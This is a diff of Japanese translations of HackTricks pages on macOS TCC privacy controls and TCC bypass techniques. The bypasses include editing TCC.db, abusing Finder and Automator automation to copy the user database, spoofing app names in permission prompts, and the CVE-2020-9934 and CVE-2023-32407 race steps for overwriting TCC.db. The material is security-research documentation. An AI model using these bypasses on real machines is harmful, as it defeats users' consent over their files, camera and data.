-**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーを強化し、ユーザーがデータを制御できるようにします。
+**TCC(Transparency, Consent, and Control)**は、アプリケーションの権限を規制するセキュリティプロトコルです。その主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーを強化し、ユーザーがデータをコントロールできるようにします。
-ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストする際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**できるプロンプトを介して可視化されます。さらに、TCCは、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することで、アプリケーションが明示的に許可されたものだけにアクセスできるようにします。
+ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストする際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**することができるプロンプトを介して可視化されます。さらに、TCCは、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することで、アプリケーションが明示的に許可されたものだけにアクセスできるようにします。
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
-**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(machサービス`com.apple.tccd.system`を登録)。
+**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(`com.apple.tccd.system`マッチサービスを登録)。
-ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、machサービス`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
+ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`のマッチサービスを登録しています。
-ここでは、システムとユーザーとして実行されているtccdを見ることができます:
+ここでは、システムとユーザーとして実行されているtccdを見ることができます。
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
@@ -38,28 +38,28 @@ ps -ef | grep tcc
許可/拒否は次の TCC データベースに保存されます:
-* **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
-* このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
-* ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
-* このデータベースは、**FDA**などの高いTCC権限を持つプロセスのみが書き込めます(ただし、SIP によって保護されていません)。
+- **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
+- このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
+- ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
+- このデータベースは、**FDA**などの高いTCC権限を持つプロセスのみが書き込めます(ただし、SIP によって保護されていません)。
{% hint style="warning" %}
-前述のデータベースは読み取りアクセスに対しても**TCC 保護**されています。したがって、通常のユーザー TCC データベースを読み取ることはできません(TCC 権限を持つプロセスからでない限り)。
+前述のデータベースは読み取りアクセスに対しても**TCC 保護**されています。そのため、通常のユーザー TCC データベースを読み取ることはできません(TCC 権限を持つプロセスからでない限り)。
-ただし、**FDA**や**`kTCCServiceEndpointSecurityClient`**などの高い権限を持つプロセスは、ユーザーのTCCデータベースに書き込むことができます。
+ただし、**FDA**や**`kTCCServiceEndpointSecurityClient`**などの高い権限を持つプロセスは、ユーザーの TCC データベースに書き込むことができます。
{% endhint %}
-* **`/var/db/locationd/clients.plist`** には、**位置情報サービスにアクセスを許可されたクライアント**が示されている第三のTCCデータベースがあります。
-* SIP 保護ファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC による読み取りアクセスも保護されています)には、すべての**有効なTCCデータベースの場所**が含まれています。
-* SIP 保護ファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC による読み取りアクセスも保護されています)には、さらにTCCが許可された権限が含まれています。
-* SIP 保護ファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(誰でも読み取り可能)は、TCC例外が必要なアプリケーションの許可リストです。
+- **`/var/db/locationd/clients.plist`** には、**位置情報サービスにアクセスを許可されたクライアント**が示されています。
+- SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**(TCC による読み取りアクセスも保護されています)には、すべての**有効な TCC データベースの場所**が含まれています。
+- SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**(TCC による読み取りアクセスも保護されています)には、さらに TCC が許可された権限が含まれています。
+- SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**(誰でも読み取り可能)は、TCC 例外が必要なアプリケーションの許可リストです。
{% hint style="success" %}
-**iOS**のTCCデータベースは**`/private/var/mobile/Library/TCC/TCC.db`**にあります。
+**iOS**のTCC データベースは**`/private/var/mobile/Library/TCC/TCC.db`**にあります。
{% endhint %}
{% hint style="info" %}
-**通知センターUI**は、**システムTCCデータベース**に変更を加えることができます:
+**通知センター UI**は**システム TCC データベース**に変更を加えることができます:
{% code overflow="wrap" %}
```bash
@@ -123,18 +123,18 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endtabs %}
{% hint style="success" %}
-両方のデータベースをチェックすることで、アプリが許可されている権限、禁止されている権限、または(求められる)権限を確認できます。
+両方のデータベースをチェックすると、アプリが許可した権限、禁止した権限、または持っていない権限(求められることがある)を確認できます。
{% endhint %}
- **`service`** は TCC **権限**の文字列表現です
-- **`client`** は権限を持つ **バンドルID** または **バイナリのパス** です
+- **`client`** は権限を持つバンドルIDまたはバイナリのパスです
- **`client_type`** はバンドル識別子(0)か絶対パス(1)かを示します
絶対パスの場合の実行方法
-単に **`launctl load you_bin.plist`** を実行します。plist は以下のようなものです:
+単に **`launctl load you_bin.plist`** を実行します。plistは以下のようになります:
```xml
@@ -191,9 +191,9 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
-* テーブルの**他のフィールド**に関する詳細は、[**このブログ投稿**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)をチェックしてください。
+* テーブルの**他のフィールド**に関する詳細は、[このブログポスト](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)をチェックしてください。
-また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`で、アプリに**すでに与えられた権限**を確認できます。
+また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`でアプリケーションに**すでに与えられた権限**を確認できます。
{% hint style="success" %}
ユーザーは、**`tccutil`**を使用して**ルールを削除またはクエリ**できます。
@@ -207,9 +207,9 @@ tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
```
-### TCC署名チェック
+### TCC Signature Checks
-TCC **データベース**はアプリケーションの**Bundle ID**を保存しますが、**許可を使用するように要求する**アプリが正しいものであることを確認するために、**署名**に関する**情報**も保存します。
+TCCの**データベース**は、アプリケーションの**Bundle ID**を保存しますが、**許可を使用するよう要求する**アプリが正しいものであることを確認するために、**署名**に関する**情報**も保存します。
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@@ -229,12 +229,12 @@ csreq -t -r /tmp/telegram_csreq.bin
### エンタイトルメント&TCC権限
-アプリケーションがリソースにアクセスを要求し、アクセスが許可されているだけでなく、関連するエンタイトルメントを持っている必要があります。\
-たとえば、Telegramは`com.apple.security.device.camera`というエンタイトルメントを持っており、カメラへのアクセスを要求します。このエンタイトルメントを持たないアプリケーションはカメラにアクセスできません(ユーザーにはアクセス許可が求められません)。
+アプリケーションは、リソースにアクセスをリクエストし、許可されただけでなく、関連するエンタイトルメントを持っている必要があります。\
+たとえば、Telegramは`com.apple.security.device.camera`というエンタイトルメントを持っており、カメラへのアクセスをリクエストします。このエンタイトルメントを持たないアプリケーションは、カメラにアクセスできません(ユーザーにはアクセス許可が求められません)。
ただし、`~/Desktop`、`~/Downloads`、`~/Documents`などの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントが必要ありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。
-Appleのアプリケーションはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権利が含まれており、ポップアップを生成することは決してありませんし、TCCデータベースのいずれにも表示されません。例:
+Appleのアプリケーションはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権限が含まれているため、ポップアップを生成することはありませんし、TCCデータベースにも表示されません。例:
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@@ -245,15 +245,15 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
kTCCServiceAddressBook
```
-これにより、カレンダーがユーザーにリマインダー、カレンダー、およびアドレス帳へのアクセスを求めることを回避できます。
+これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレス帳へのアクセスを求めることを回避できます。
{% hint style="success" %}
権限に関する公式ドキュメントに加えて、[**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) で権限に関する非公式な**興味深い情報**を見つけることも可能です。
{% endhint %}
-一部のTCC権限には、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどがあります。これらをすべて定義する公開リストはありませんが、[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)をチェックできます。
+一部のTCC権限は、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどです。すべてを定義する公開リストはありませんが、[**既知のリスト**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service)をチェックできます。
-### 保護されていない機密情報の場所
+### 保護されていない機密情報
* $HOME (自体)
* $HOME/.ssh、$HOME/.aws など
@@ -282,9 +282,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
また、コンピュータ内のアプリのUUIDを許可するファイルを別のコンピュータに移動すると、同じアプリでも異なるUIDを持つため、そのアプリにアクセス権が付与されません。
{% endhint %}
-拡張属性`com.apple.macl`は、他の拡張属性とは異なり、**SIPによって保護**されているため、**消去することはできません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**して、**解凍**することで無効にすることが可能です。
+拡張属性`com.apple.macl`は、他の拡張属性とは異なり、**SIPによって保護**されているため、**消去できません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**して、**解凍**することで無効にすることが可能です。
-## TCC特権昇格とバイパス
+## TCC特権昇格と回避手法
### TCCに挿入
@@ -345,10 +345,10 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### 自動化(Finder)から FDA\*
自動化権限の TCC 名は: **`kTCCServiceAppleEvents`**\
-この特定の TCC 権限は、TCC データベース内で管理できる**アプリケーションを示す**(つまり、権限はすべてを管理するだけでなく、特定のアプリケーションを管理することもできます)。
+この特定の TCC 権限は、TCC データベース内で管理できる**アプリケーション**を示しています(つまり、権限はすべてを管理するだけではありません)。
**Finder** は、**常に FDA を持っています**(UI に表示されなくても)、そのため、それに対して **Automation** 権限がある場合、その権限を悪用して **いくつかのアクションを実行**させることができます。\
-この場合、あなたのアプリは **`com.apple.Finder`** 上で **`kTCCServiceAppleEvents`** 権限が必要です。
+この場合、あなたのアプリは **`com.apple.Finder`** 上で **`kTCCServiceAppleEvents`** の許可が必要です。
{% tabs %}
{% tab title="ユーザーの TCC.db を盗む %}
@@ -381,17 +381,15 @@ EOD
これを悪用すると、**独自のユーザーTCCデータベースを作成**することができます。
{% hint style="warning" %}
-この権限を持つと、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得することができますが、afaik **Finderに任意のコードを実行させることはできない**ため、完全にFDAアクセスを悪用することはできません。
-
-したがって、完全なFDAの機能を悪用することはできません。
+この権限を持つと、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得することができますが、afaikでは**Finderに任意のコードを実行させることはできません**。そのため、FDAアクセスを完全に悪用することはできません。
{% endhint %}
-これは、Finderに対してAutomation権限を取得するためのTCCプロンプトです:
+これはFinderに対してAutomation権限を取得するためのTCCプロンプトです:
-
+
{% hint style="danger" %}
-**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのような**任意のアプリを制御**できます。したがって、Automatorを制御する権限があれば、以下のコードのように**Finder**を制御することもできます:
+**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのようなアプリを**制御**することができます。そのため、Automatorを制御する権限があれば、以下のコードのように**Finder**を制御することもできます:
{% endhint %}
@@ -420,9 +418,9 @@ EOD
**スクリプトエディターアプリ**でも同じことが起こります。Finderを制御できますが、AppleScriptを使用してスクリプトを実行することはできません。
-### Automation (SE) to some TCC
+### 自動化(SE)への一部TCC
-**システムイベント**はフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用してこの動作を悪用することができます:
+**システムイベントはフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます**(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用して、この動作を悪用することができます:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
index 370051d30..ddc3538e3 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
@@ -6,11 +6,11 @@
HackTricks をサポートする他の方法:
-- **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
-- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
-- **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
+* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
@@ -39,7 +39,7 @@ asd
### 任意の名前によるTCCリクエスト
攻撃者は、`Info.plist`で任意の名前(例:Finder、Google Chromeなど)のアプリを作成し、それをいくつかのTCC保護された場所へのアクセスをリクエストするようにします。ユーザーは、正規のアプリケーションがこのアクセスをリクエストしていると思うでしょう。\
-さらに、正規のアプリをDockから削除し、その代わりに偽物を置くことが可能です。したがって、ユーザーが偽物をクリックすると(同じアイコンを使用できる)、それは正規のアプリを呼び出し、TCCの許可を求め、マルウェアを実行し、ユーザーは正規のアプリがアクセスを要求したと信じることになります。
+さらに、正規のアプリをDockから削除し、その代わりに偽のアプリを置くことが可能で、ユーザーが偽のアプリをクリックすると(同じアイコンを使用できる)それは正規のアプリを呼び出し、TCCの許可を求め、マルウェアを実行することができ、ユーザーは正規のアプリがアクセスを要求したと信じることになります。
@@ -51,7 +51,7 @@ asd
### SSH バイパス
-デフォルトでは、**SSH経由のアクセスには「Full Disk Access」が必要**です。これを無効にするには、それがリストされているが無効になっている必要があります(リストから削除してもこれらの権限は削除されません):
+デフォルトでは、**SSH経由のアクセスには「Full Disk Access」が必要**です。これを無効にするには、それがリストされている必要がありますが、無効にする必要があります(リストから削除してもこれらの権限は削除されません):
![](<../../../../../.gitbook/assets/image (569).png>)
@@ -67,19 +67,19 @@ SSHを有効にするには、今では**Full Disk Access**が必要です
属性**`com.apple.macl`**は、**特定のアプリケーションがそれを読む権限を持つ**ためにファイルに与えられます。この属性は、ファイルをアプリに**ドラッグ&ドロップ**するか、ユーザーがファイルを**ダブルクリック**してデフォルトのアプリで開くときに設定されます。
-したがって、ユーザーはすべての拡張子を処理する悪意のあるアプリを**登録**し、Launch Servicesを呼び出して**任意のファイルを開く**ことができます(そのため、悪意のあるファイルはそれを読む権限が与えられます)。
+したがって、ユーザーは、すべての拡張子を処理する悪意のあるアプリを登録し、Launch Servicesを呼び出して**任意のファイルを開く**ことができます(そのため、悪意のあるファイルはそれを読む権限が与えられます)。
### iCloud
-権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能で、これによりiCloudトークンが**提供**されます。
+権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能で、そこから**iCloudトークンを取得**できます。
**iMovie**と**Garageband**はこの権限を持っていました。
-その権限からiCloudトークンを取得する**エクスプロイト**についての詳細については、次のトークをチェックしてください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
+その権限からiCloudトークンを取得する**エクスプロイト**についての詳細は、次のトークをチェックしてください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
-**`kTCCServiceAppleEvents`**権限を持つアプリは、他のアプリを**制御**することができます。これは、他のアプリに付与された権限を**悪用**する可能性があります。
+**`kTCCServiceAppleEvents`**権限を持つアプリは、他のアプリを**制御**することができます。これは、他のアプリに付与された権限を**悪用**する可能性があることを意味します。
Apple Scriptsに関する詳細は次をチェックしてください:
@@ -127,9 +127,9 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-2020–9934 - TCC
-ユーザーランドの**tccdデーモン**は、**`HOME`** **env**変数を使用して、次の場所からTCCユーザーデータベースにアクセスしています:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
+ユーザーランドの**tccdデーモン**は、**`HOME`** **env**変数を使用して、次の場所からTCCユーザーデータベースにアクセスします:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
-[このStack Exchangeの投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)によると、TCCデーモンは現在のユーザーのドメイン内で`launchd`を介して実行されているため、**それに渡されるすべての環境変数を制御**することが可能です。\
+[このStack Exchangeの投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)によると、TCCデーモンは現在のユーザーのドメイン内で`launchd`を介して実行されているため、**渡されるすべての環境変数を制御**することが可能です。\
したがって、**攻撃者は`launchctl`**で`$HOME`環境変数を**制御されたディレクトリ**を指すように設定し、**TCC**デーモンを**再起動**してから、TCCデータベースを**直接変更**して、エンドユーザーにプロンプトを表示せずに**利用可能なすべてのTCC権限を自分に与える**ことができます。\
PoC:
```bash
@@ -160,19 +160,19 @@ $> ls ~/Documents
```
### CVE-2021-30761 - ノート
-ノートはTCCで保護された場所にアクセスできましたが、ノートが作成されるときは**保護されていない場所に作成**されます。したがって、ノートに保護されたファイルをコピーするように依頼し、その後ファイルにアクセスできます:
+ノートはTCCで保護された場所へのアクセス権を持っていましたが、ノートが作成されるときは**保護されていない場所**に作成されます。したがって、ノートに保護されたファイルをコピーするように依頼し、その後ファイルにアクセスできます:
### CVE-2021-30782 - トランスロケーション
-ライブラリ`libsecurity_translocate`を持つバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`という権限を持っていました。これにより**nullfs**マウントを作成し、`com.apple.private.tcc.allow`と**`kTCCServiceSystemPolicyAllFiles`**を持っていたため、すべてのファイルにアクセスできました。
+ライブラリ`libsecurity_translocate`を持つバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`という権限を持っていました。これにより**nullfs**マウントを作成し、`com.apple.private.tcc.allow`と**`kTCCServiceSystemPolicyAllFiles`**を持ってすべてのファイルにアクセスできました。
-"Library"に隔離属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことが可能で、その後、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマップし、Library内のすべてのドキュメントに**アクセス**できました。
+"Library"に隔離属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことで、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマップし、Library内のすべてのドキュメントに**アクセス**できるようになりました。
### CVE-2023-38571 - Music & TV
-**`Music`**には興味深い機能があります。実行中に、ユーザーの"メディアライブラリ"に**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルを**インポート**します。さらに、次のようなものを呼び出します:**`rename(a, b);`** ここで`a`と`b`は次のとおりです:
+**`Music`**には興味深い機能があります。実行中に**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルをユーザーの「メディアライブラリ」に**インポート**します。さらに、次のようなものを呼び出します:**`rename(a, b);`** ここで`a`と`b`は次のとおりです:
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
@@ -181,12 +181,12 @@ $> ls ~/Documents
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
-**`SQLITE_SQLLOG_DIR="path/folder"`**が設定されている場合、**任意のオープンされたdbがそのパスにコピー**されます。このCVEでは、この制御が悪用され、**TCCデータベースを持つプロセスによって開かれるSQLiteデータベース**内に**書き込む**ことが可能であり、その後、**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**として悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが開かれたもので上書き**されました。\
+**`SQLITE_SQLLOG_DIR="path/folder"`**とすると、**すべてのオープンdbがそのパスにコピー**されます。このCVEでは、この制御が悪用され、**TCCデータベースを持つプロセスによって開かれるSQLiteデータベース**内に**書き込む**ことが可能であり、その後**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**として悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されました。\
**詳細は**[**こちらの解説**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および**[**こちらのトーク**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s) **にあります**。
### **SQLITE\_AUTO\_TRACE**
-環境変数**`SQLITE_AUTO_TRACE`**が設定されている場合、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログすることが可能でした。
+環境変数**`SQLITE_AUTO_TRACE`**が設定されていると、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログすることが可能でした。
いくつかのAppleアプリケーションは、TCCで保護された情報にアクセスするためにこのライブラリを使用していました。
```bash
@@ -199,38 +199,38 @@ launchctl setenv SQLITE_AUTO_TRACE 1
次のように設定します:`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。`path`が有効なディレクトリである場合、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます:
-- `open()`されるファイルは、`path/.dat.nosyncXXXX.XXXXXX`(Xはランダム)と呼ばれます
-- 1つ以上の`write()`がファイルに内容を書き込みます(これは制御できません)
-- `path/.dat.nosyncXXXX.XXXXXX`が`rename()`されて`path/name`になります
+- `open()`されるファイルは、`path/.dat.nosyncXXXX.XXXXXX`(Xはランダム)と呼ばれます。
+- 1つ以上の`write()`がファイルに内容を書き込みます(これは制御できません)。
+- `path/.dat.nosyncXXXX.XXXXXX`が`rename()`されて`path/name`になります。
-これは、**セキュリティが確保されていない**一時ファイル書き込みであり、**`rename(old, new)`**に続きます。
+これは一時ファイルの書き込みであり、その後に**セキュリティが確保されていない** **`rename(old, new)`** が続きます。
-これは、**古いパスと新しいパスを別々に解決する必要があるため**、時間がかかり、競合状態に対して脆弱になる可能性があるため、セキュリティが確保されていません。詳細については、`xnu`関数`renameat_internal()`を確認してください。
+これは**古いパスと新しいパスを別々に解決する必要がある**ため、時間がかかり、競合状態に対して脆弱になる可能性があります。詳細については、`xnu`関数`renameat_internal()`を確認してください。
{% hint style="danger" %}
-つまり、特権プロセスがコントロールするフォルダから名前を変更する場合、RCEを獲得し、異なるファイルにアクセスしたり、このCVEのように特権アプリが作成したファイルを開いてFDを保存したりできます。
+つまり、特権プロセスがコントロールするフォルダから名前を変更する場合、RCEを獲得して異なるファイルにアクセスしたり、このCVEのように特権アプリが作成したファイルを開いてFDを保存することができます。
-名前を変更すると、コントロールするフォルダにアクセスし、ソースファイルを変更したり、FDを持っている場合、宛先ファイル(またはフォルダ)をシンボリックリンクに指すように変更できるため、いつでも書き込むことができます。
+名前を変更しているフォルダがコントロール可能な場合、ソースファイルを変更したり、そのFDを持っている場合、宛先ファイル(またはフォルダ)をシンボリックリンクに指すように変更できるため、いつでも書き込むことができます。
{% endhint %}
このCVEでの攻撃は次のとおりです:例えば、ユーザーの`TCC.db`を上書きするには:
-- `/Users/hacker/ourlink`を`/Users/hacker/Library/Application Support/com.apple.TCC/`にポイントするように作成します
-- ディレクトリ`/Users/hacker/tmp/`を作成します
-- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します
-- この環境変数を使用して`Music`を実行してバグをトリガーします
-- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`(Xはランダム)の`open()`をキャッチします
-- ここでも、このファイルを書き込み用に`open()`し、ファイルディスクリプタを保持します
-- `/Users/hacker/tmp`を`/Users/hacker/ourlink`に**ループ内で**原子的に切り替えます
-- これは、競合ウィンドウが非常に狭いため、成功する可能性を最大化するために行いますが、競争に負けるとほとんどデメリットがあります
-- 少し待つ
-- 運が良ければテストします
-- そうでない場合は、最初からやり直します
+- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします。
+- ディレクトリ`/Users/hacker/tmp/`を作成します。
+- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します。
+- この環境変数を使用して`Music`を実行してバグをトリガーします。
+- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`(Xはランダム)の`open()`をキャッチします。
+- ここでも、このファイルを書き込み用に`open()`し、ファイルディスクリプタを保持します。
+- `/Users/hacker/tmp`を`/Users/hacker/ourlink`に**ループ内で**原子的に切り替えます。
+- これは、競合ウィンドウが非常に狭いため、成功する可能性を最大化するために行いますが、競争に負けるとほとんどデメリットがあります。
+- 少し待ちます。
+- 運が良ければテストします。
+- そうでない場合は、最初からやり直します。
-詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)で確認できます。
+詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を参照してください。
{% hint style="danger" %}
-今、環境変数`MTL_DUMP_PIPELINES_TO_JSON_FILE`を使用しようとすると、アプリが起動しなくなります
+今、環境変数`MTL_DUMP_PIPELINES_TO_JSON_FILE`を使用しようとすると、アプリが起動しなくなります。
{% endhint %}
### Apple Remote Desktop
@@ -239,11 +239,10 @@ rootとしてこのサービスを有効にすると、**ARDエージェント
## **NFSHomeDirectory**による
-TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。**$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
